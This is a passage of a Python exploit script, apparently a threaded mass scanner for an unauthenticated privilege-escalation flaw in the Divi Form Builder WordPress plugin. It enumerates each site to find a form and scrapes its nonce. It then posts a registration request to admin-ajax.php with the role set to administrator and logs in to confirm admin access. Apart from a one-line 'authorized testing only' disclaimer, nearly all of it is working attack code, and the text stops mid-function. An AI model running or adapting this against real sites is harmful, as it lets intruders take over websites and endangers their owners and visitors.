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| #!/usr/bin/env python3
"""
CVE-2026-5118 Mass Scanner
Divi Form Builder <= 5.1.2 — Unauthenticated Privilege Escalation
Educational / Authorized Testing Only
"""
import argparse
import concurrent.futures
import json
import random
import re
import string
import sys
import urllib3
import requests
from urllib.parse import urljoin, urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ───────────────────────────────────────────
# ANSI colors (auto-disable if not TTY)
# ───────────────────────────────────────────
if sys.stdout.isatty():
R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"; B = "\033[94m"; C = "\033[96m"; W = "\033[0m"
else:
R = G = Y = B = C = W = ""
class DFBExploit:
def __init__(self, target_url, verbose=False, timeout=20):
self.target = target_url.rstrip('/')
self.verbose = verbose
self.timeout = timeout
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': (
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
'AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/120.0.0.0 Safari/537.36'
),
})
def _log(self, msg):
print(msg)
def _dbg(self, msg):
if self.verbose:
print(f"[v] {msg}")
def _get(self, url):
self._dbg(f"GET {url}")
try:
r = self.session.get(url, timeout=self.timeout)
self._dbg(f" status={r.status_code} len={len(r.text)}")
return r
except Exception as e:
self._dbg(f" error: {e}")
return None
# ───────────────────────────────────────────
# Phase 1: Target Discovery — ANY DFB form
# ───────────────────────────────────────────
def find_form(self):
self._dbg("Phase 1: Discovering any DFB form...")
# Step 1: Known registration/contact paths (fast)
paths = [
'/register/', '/registration/', '/my-account/',
'/wp-login.php?action=register', '/signup/', '/sign-up/',
'/join/', '/get-started/', '/contact/', '/about/',
'/quote/', '/feedback/', '/newsletter/', '/subscribe/',
'/book/', '/request/', '/inquiry/', '/',
]
for path in paths:
result = self._check_page_for_dfb(urljoin(self.target, path))
if result:
return result
# Step 2: REST API search=register quick
rest = self._get(urljoin(self.target, '/wp-json/wp/v2/pages?search=register&per_page=100'))
if rest and rest.status_code == 200:
try:
for page in rest.json():
result = self._check_page_for_dfb(page.get('link', ''))
if result:
return result
except Exception:
pass
# Step 3: Deep REST API enumeration (all pages, posts, CPTs)
for endpoint, name in [
('pages', 'pages'),
('posts', 'posts'),
]:
result = self._deep_rest_enum(endpoint, name)
if result:
return result
for cpt in ['dfb_forms', 'de_fb_forms', 'divi_forms', 'et_fb_forms', 'fb_forms']:
result = self._deep_rest_enum(cpt, f'CPT:{cpt}')
if result:
return result
# Step 4: Sitemap crawl
result = self._sitemap_crawl()
if result:
return result
# Step 5: robots.txt crawl
result = self._robots_crawl()
if result:
return result
# Step 6: Homepage link crawl
result = self._homepage_link_crawl()
if result:
return result
return None
def _check_page_for_dfb(self, url):
"""GET url and check for ANY DFB indicator (fb_nonce, de_fb_obj, divi-form-builder)."""
if not url:
return None
r = self._get(url)
if not r or r.status_code != 200:
return None
text = r.text
# Cek DFB indicators: fb_nonce hidden input, de_fb_obj, atau divi-form-builder string
if 'fb_nonce' in text and ('divi-form-builder' in text or 'de_fb_obj' in text or 'de_fb_ajax_submit_ajax_handler' in text):
self._dbg(f"[+] DFB form detected at: {url}")
return text
if 'de_fb_obj' in text or 'de_fb_ajax_submit_ajax_handler' in text:
self._dbg(f"[+] DFB indicators at: {url}")
return text
if 'divi-form-builder' in text:
self._dbg(f"[+] divi-form-builder string at: {url}")
return text
return None
def _deep_rest_enum(self, endpoint, name):
self._dbg(f"Deep REST API: enumerating {name}...")
page = 1
found = []
while page <= 5:
url = urljoin(self.target, f'/wp-json/wp/v2/{endpoint}?per_page=100&page={page}')
r = self._get(url)
if not r or r.status_code != 200:
break
try:
items = r.json()
except Exception:
break
if not isinstance(items, list) or not items:
break
for item in items:
link = item.get('link', '')
if link:
found.append(link)
if len(items) < 100:
break
page += 1
self._dbg(f" {name}: {len(found)} URLs")
checked = set()
for link in found:
if link in checked:
continue
checked.add(link)
result = self._check_page_for_dfb(link)
if result:
return result
return None
def _sitemap_crawl(self):
sitemap_urls = [
'/wp-sitemap.xml', '/sitemap.xml', '/sitemap_index.xml',
'/sitemap-index.xml', '/post-sitemap.xml', '/page-sitemap.xml',
]
all_urls = []
for sm_url in sitemap_urls:
r = self._get(urljoin(self.target, sm_url))
if not r or r.status_code != 200:
continue
urls = re.findall(r'<loc>([^<]+)</loc>', r.text)
all_urls.extend(urls)
# Nested sitemaps
for url in list(urls):
if '.xml' in url and 'sitemap' in url:
r2 = self._get(url)
if r2 and r2.status_code == 200:
nested = re.findall(r'<loc>([^<]+)</loc>', r2.text)
all_urls.extend(nested)
checked = set()
for url in all_urls:
if url in checked:
continue
checked.add(url)
result = self._check_page_for_dfb(url)
if result:
return result
return None
def _robots_crawl(self):
r = self._get(urljoin(self.target, '/robots.txt'))
if not r or r.status_code != 200:
return None
text = r.text
sitemaps = re.findall(r'(?i)^\s*Sitemap:\s*(\S+)', text, re.MULTILINE)
for sm in sitemaps:
r2 = self._get(sm)
if r2 and r2.status_code == 200:
urls = re.findall(r'<loc>([^<]+)</loc>', r2.text)
for url in urls:
result = self._check_page_for_dfb(url)
if result:
return result
interesting = re.findall(r'(?i)^\s*(?:Allow|Disallow):\s*(/[^\s]*)', text, re.MULTILINE)
for path in interesting:
if path in ('/', '/wp-admin/', '/wp-includes/'):
continue
result = self._check_page_for_dfb(urljoin(self.target, path))
if result:
return result
return None
def _homepage_link_crawl(self):
r = self._get(urljoin(self.target, '/'))
if not r or r.status_code != 200:
return None
links = re.findall(r'href=["\']([^"\']+)["\']', r.text)
candidates = []
keywords = ['register', 'signup', 'sign-up', 'join', 'contact', 'form', 'get-started', 'about', 'quote', 'feedback', 'subscribe']
for link in links:
if link.startswith('http'):
abs_link = link
elif link.startswith('/'):
abs_link = urljoin(self.target, link)
else:
abs_link = urljoin(self.target + '/', link)
if not abs_link.startswith(self.target):
continue
if re.search(r'\.(js|css|png|jpg|jpeg|gif|svg|pdf|zip)$', abs_link, re.I):
continue
lower = abs_link.lower()
if any(k in lower for k in keywords):
candidates.insert(0, abs_link)
else:
candidates.append(abs_link)
checked = set()
for link in candidates:
if link in checked:
continue
checked.add(link)
result = self._check_page_for_dfb(link)
if result:
return result
return None
# ───────────────────────────────────────────
# Phase 2: Parameter Extraction
# ───────────────────────────────────────────
def extract_params(self, html):
self._dbg("Phase 2: Extracting parameters...")
params = {}
# 1. Try de_fb_obj (JavaScript)
de_fb_match = re.search(
r'(?:var|let|const|window\.)?\s*de_fb_obj\s*=\s*(\{.*?\});?',
html, re.DOTALL
)
if not de_fb_match:
de_fb_match = re.search(r'de_fb_obj\s*=\s*(\{.*?\});?', html, re.DOTALL)
if de_fb_match:
raw = de_fb_match.group(1)
raw = raw.replace("'", '"')
raw = re.sub(r',(\s*[}\]])', r'\1', raw)
try:
obj = json.loads(raw)
self._dbg(f"de_fb_obj keys: {list(obj.keys())}")
for k in ('nonce', 'fb_nonce'):
if k in obj and obj[k]:
params['fb_nonce'] = str(obj[k])
self._dbg(f"fb_nonce from de_fb_obj: {params['fb_nonce'][:20]}...")
break
if 'form_key' in obj and obj['form_key']:
params['form_key'] = str(obj['form_key'])
self._dbg(f"form_key from de_fb_obj: {params['form_key'][:20]}...")
except json.JSONDecodeError as e:
self._dbg(f"de_fb_obj JSON parse failed: {e}")
# 2. Fallback: hidden input HTML
def _get_attr(html, attr_name):
pat = (
r'<[^>]*?name=["\']' + re.escape(attr_name) + r'["\'][^>]*?'
r'value=["\']([^"\']+)["\'][^>]*?>|'
r'<[^>]*?value=["\']([^"\']+)["\'][^>]*?'
r'name=["\']' + re.escape(attr_name) + r'["\'][^>]*?>'
)
m = re.search(pat, html, re.I | re.S)
return (m.group(1) or m.group(2)) if m else None
if 'fb_nonce' not in params:
v = _get_attr(html, 'fb_nonce')
if v:
params['fb_nonce'] = v
self._dbg(f"fb_nonce from hidden input: {v[:20]}...")
if 'form_key' not in params:
v = _get_attr(html, 'form_key')
if v:
params['form_key'] = v
self._dbg(f"form_key from hidden input: {v[:20]}...")
# Default role reference (info only)
role = _get_attr(html, 'role')
if not role:
m = re.search(
r'class=["\']df_hidden_user_role["\'][^>]*value=["\']([^"\']+)["\']|'
r'value=["\']([^"\']+)["\'][^>]*class=["\']df_hidden_user_role["\']',
html, re.I | re.S
)
if m:
role = m.group(1) or m.group(2)
if role:
params['default_role'] = role
self._dbg(f"Default role: {role}")
return params
# ───────────────────────────────────────────
# Phase 3: Role Injection
# ───────────────────────────────────────────
def exploit(self, params, username, password, email):
ajax_url = urljoin(self.target, '/wp-admin/admin-ajax.php')
self._dbg(f"Phase 3: POST {ajax_url}")
files = {
'action': (None, 'de_fb_ajax_submit_ajax_handler'),
'fb_nonce': (None, params.get('fb_nonce', '')),
'role': (None, 'administrator'),
'form_type': (None, 'register'), # ← OVERRIDE! Form asal contact pun jadi register
'divi-form-submit': (None, 'yes'),
'de_fb_user_login': (None, username),
'user_login': (None, username),
'de_fb_user_pass': (None, password),
'user_pass': (None, password),
'de_fb_pass_repeat': (None, password),
'de_fb_user_email': (None, email),
'user_email': (None, email),
}
fk = params.get('form_key', '').strip()
if fk:
files['form_key'] = (None, fk)
headers = {'X-Requested-With': 'XMLHttpRequest'}
try:
resp = self.session.post(ajax_url, files=files, headers=headers, timeout=self.timeout)
except Exception as e:
self._dbg(f"Request failed: {e}")
return False, f"request_error: {e}"
self._dbg(f"Response: HTTP {resp.status_code}")
self._dbg(f"Body: {resp.text[:500]}")
if resp.status_code != 200:
return False, f"http_{resp.status_code}"
text_lower = resp.text.lower()
# JSON evaluation
try:
j = resp.json()
self._dbg(f"JSON: {j}")
msg = str(j.get('message', '')).lower()
if j.get('success') is True or j.get('result') == 'success':
return True, "json_success"
if 'success' in msg or 'registered' in msg or 'created' in msg or 'registration' in msg:
return True, "json_msg_success"
if 'user' in str(j).lower():
return True, "json_user_obj"
except ValueError:
pass
good = ['success', 'registration successful', 'registered', 'created', 'account created', 'welcome']
bad = ['error', 'failed', 'invalid', 'nonce verification failed', 'cheating', 'forbidden', 'unauthorized']
for g in good:
if g in text_lower:
return True, f"text_{g}"
for b in bad:
if b in text_lower:
return False, f"text_{b}"
return False, "ambiguous"
# ───────────────────────────────────────────
# Phase 4: Admin Verification
# ───────────────────────────────────────────
def verify(self, username, password):
login_url = urljoin(self.target, '/wp-login.php')
self._dbg(f"Phase 4: Verifying admin access...")
data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': urljoin(self.target, '/wp-admin/'),
'testcookie': '1',
}
try:
resp = self.session.post(login_url, data=data, allow_redirects=True, timeout=self.timeout)
except Exception as e:
self._dbg(f"Login failed: {e}")
return False
if '/wp-admin' in resp.url:
return True
if 'dashboard' in resp.text.lower():
return True
# Fallback: try GET /wp-admin/ with same session
try:
admin_resp = self.session.get(urljoin(self.target, '/wp-admin/'), timeout=self.timeout)
except Exception:
return False
if '/wp-admin' in admin_resp.url or 'dashboard' in admin_resp.text.lower():
return True
return False
# ───────────────────────────────────────────
# Full run: return (success_bool, details_dict)
# ───────────────────────────────────────────
def run(self, username=None, password=None, email=None):
# Phase 1
html = self.find_form()
if not html:
return False, {"stage": "discovery", "reason": "No DFB form found"}
# Phase 2
params = self.extract_params(html)
if not params.get('fb_nonce'):
return False, {"stage": "extraction", "reason": "fb_nonce not found"}
# Generate credentials
if not username:
username = 'admin' + ''.join(random.choices(string.digits, k=4))
if not password:
password = 'Str0ngP@ss!' + ''.join(random.choices(string.ascii_letters, k=4))
if not email:
email = f"{username}@test.local"
# Phase 3
exploited, detail = self.exploit(params, username, password, email)
if not exploited:
return False, {"stage": "exploit", "reason": detail, "username": username}
# Phase 4
verified = self.verify(username, password)
return True, {
"stage": "verified" if verified else "exploit_only",
"verified": verified,
"username": username,
"password": password,
"email": email,
"detail": detail,
}
# ═══════════════════════════════════════════
# Mass Scanner with Threading
# ═══════════════════════════════════════════
def normalize_url(url):
"""Add http:// prefix if missing."""
url = url.strip()
if not url:
return None
if not url.startswith(('http://', 'https://')):
# Try https first, fallback to http
return f"http://{url}"
return url
def scan_single_target(url, verbose=False, timeout=20):
"""Scan one target. Returns (url, status, details)."""
target = normalize_url(url)
if not target:
|
